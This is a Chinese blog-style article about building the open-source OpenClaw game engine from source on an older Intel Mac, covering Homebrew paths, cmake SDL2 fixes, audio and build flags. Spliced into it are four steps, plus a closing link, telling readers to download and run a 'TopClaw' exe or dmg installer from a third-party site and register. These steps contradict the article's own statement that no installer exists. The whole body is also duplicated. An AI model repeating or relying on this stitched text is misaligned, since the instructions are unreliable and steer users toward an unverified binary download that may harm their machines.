ARTICLE · 1116720
Mac(Intel芯片)部署OpenClaw完整避坑指南
Mac(Intel芯片)部署OpenClaw完整避坑指南前阵子收拾抽屉，翻出一台 2018 款的 MacBook Pro，Intel 芯片，系统停在 macOS 12。卖也卖不上价，扔了又可惜，就一直搁着吃灰。后来想起朋友推荐过的 OpenClaw——一个用跨平台引擎重新实现老游戏的开源项目，干脆拿这台机器当试验田，折腾了一晚上。过程谈不上顺利，坑倒是踩了不少，索性把整个流程和踩雷经验记下来，给同样还在用 Intel Mac 的朋友省点时间。
一、先把环境这关过了
OpenClaw 在 macOS 上没有现成的安装包，只能自己从源码编译。别被"编译"两个字吓到，命令其实就那几条，真正磨人的是环境准备。
Xcode Command Line Tools：终端里执行 xcode-select --install，弹窗点确认，然后等。注意它和 Xcode 本体是两份东西，装了 Xcode 也未必有。
Homebrew：Intel Mac 的安装前缀是 /usr/local，不是新机型上的 /opt/homebrew。如果终端里 brew 死活提示找不到命令，先看看 /usr/local/bin 有没有在 PATH 里。
依赖库：cmake、sdl2、sdl2_image、sdl2_mixer、tinyxml2、boost，一条 brew install 基本能全部搞定。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
很多人卡在第一步，不是因为技术难，而是因为 Intel 和 Apple 芯片的路径完全不一样。网上搜到的教程一大半是 M 系列的，照抄必翻车。
我的建议是，装依赖的时候不要图快，一条一条来，看到报错当场解决。攒一堆错误最后一起处理，只会让自己怀疑人生。
二、编译阶段的几个经典坑
拉代码的时候记得带上 --recursive，这个项目里有子模块，漏掉的话后面配置阶段必然报错，而且报错信息还挺隐晦，不容易一眼看出原因。 
最常见的拦路虎是 cmake 提示找不到 SDL2。明明 brew 已经装好了，它就是找不到。原因是 Homebrew 把库装在 /usr/local，而 cmake 默认不一定去那儿翻。解决办法很直接，配置的时候手动把路径喂给它：在 cmake 命令后面加上 -DCMAKE_PREFIX_PATH=/usr/local，问题基本当场消失。
另一个容易忽略的是音频。SDL2_mixer 支持多种后端，如果编译时后端不全，游戏能跑起来，但背景音乐是哑的。这种情况先检查一下 brew 装的 sdl2_mixer 是否带上了常见格式支持，必要时重新安装一遍。别急着怀疑游戏本体，八成是依赖的锅。
还有个小细节：编译参数别一上来就 -j8。Intel 的老机器散热本来就紧张，四核跑满很容易触发降频，中间卡住还以为是死机。用 -j4 稳稳当当跑完，反而更快。
三、跑起来之后的零碎问题
编译通过只是万里长征第一步，真正打开游戏，还有几件事要处理。
游戏资源文件：这个项目本身只提供引擎，不含原版素材，需要通过正规渠道获取对应资源后，放到指定的资源目录里。目录位置在官方说明里写得很清楚，别自己乱放。
系统拦截：从源码编译出来的可执行文件一般不会有隔离属性，但如果你从别处下载了打包版本，第一次打开可能被系统拦下。在"系统设置-隐私与安全性"里放行即可，别去关掉整个安全机制。
分辨率与全屏：默认窗口在高分屏上可能显得很小，游戏内提供了缩放和全屏选项，根据自己的屏幕调一下，体验会好很多。
说实话，整个过程折腾下来，真正花在编译上的时间不到半小时，剩下两小时都在和路径、依赖、权限这些琐事较劲。但这大概就是在老机器上玩开源项目的乐趣——你不是在装一个软件，而是在给一台快要退役的设备找一个新的理由继续开着。
如果你手上也有一台 Intel Mac，别急着让它退休。挑一个周末晚上，泡杯茶，跟着步骤慢慢来，出错了就停下来看看报错信息，多半能自己解决。等那个熟悉的画面真的亮起来的时候，你会发现这一晚花得挺值。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn
一、先把环境这关过了
OpenClaw 在 macOS 上没有现成的安装包，只能自己从源码编译。别被"编译"两个字吓到，命令其实就那几条，真正磨人的是环境准备。
Xcode Command Line Tools：终端里执行 xcode-select --install，弹窗点确认，然后等。注意它和 Xcode 本体是两份东西，装了 Xcode 也未必有。
Homebrew：Intel Mac 的安装前缀是 /usr/local，不是新机型上的 /opt/homebrew。如果终端里 brew 死活提示找不到命令，先看看 /usr/local/bin 有没有在 PATH 里。
依赖库：cmake、sdl2、sdl2_image、sdl2_mixer、tinyxml2、boost，一条 brew install 基本能全部搞定。
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
很多人卡在第一步，不是因为技术难，而是因为 Intel 和 Apple 芯片的路径完全不一样。网上搜到的教程一大半是 M 系列的，照抄必翻车。
我的建议是，装依赖的时候不要图快，一条一条来，看到报错当场解决。攒一堆错误最后一起处理，只会让自己怀疑人生。
二、编译阶段的几个经典坑
拉代码的时候记得带上 --recursive，这个项目里有子模块，漏掉的话后面配置阶段必然报错，而且报错信息还挺隐晦，不容易一眼看出原因。
最常见的拦路虎是 cmake 提示找不到 SDL2。明明 brew 已经装好了，它就是找不到。原因是 Homebrew 把库装在 /usr/local，而 cmake 默认不一定去那儿翻。解决办法很直接，配置的时候手动把路径喂给它：在 cmake 命令后面加上 -DCMAKE_PREFIX_PATH=/usr/local，问题基本当场消失。
另一个容易忽略的是音频。SDL2_mixer 支持多种后端，如果编译时后端不全，游戏能跑起来，但背景音乐是哑的。这种情况先检查一下 brew 装的 sdl2_mixer 是否带上了常见格式支持，必要时重新安装一遍。别急着怀疑游戏本体，八成是依赖的锅。
还有个小细节：编译参数别一上来就 -j8。Intel 的老机器散热本来就紧张，四核跑满很容易触发降频，中间卡住还以为是死机。用 -j4 稳稳当当跑完，反而更快。
三、跑起来之后的零碎问题
编译通过只是万里长征第一步，真正打开游戏，还有几件事要处理。
游戏资源文件：这个项目本身只提供引擎，不含原版素材，需要通过正规渠道获取对应资源后，放到指定的资源目录里。目录位置在官方说明里写得很清楚，别自己乱放。
系统拦截：从源码编译出来的可执行文件一般不会有隔离属性，但如果你从别处下载了打包版本，第一次打开可能被系统拦下。在"系统设置-隐私与安全性"里放行即可，别去关掉整个安全机制。
分辨率与全屏：默认窗口在高分屏上可能显得很小，游戏内提供了缩放和全屏选项，根据自己的屏幕调一下，体验会好很多。
说实话，整个过程折腾下来，真正花在编译上的时间不到半小时，剩下两小时都在和路径、依赖、权限这些琐事较劲。但这大概就是在老机器上玩开源项目的乐趣——你不是在装一个软件，而是在给一台快要退役的设备找一个新的理由继续开着。
如果你手上也有一台 Intel Mac，别急着让它退休。挑一个周末晚上，泡杯茶，跟着步骤慢慢来，出错了就停下来看看报错信息，多半能自己解决。等那个熟悉的画面真的亮起来的时候，你会发现这一晚花得挺值。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn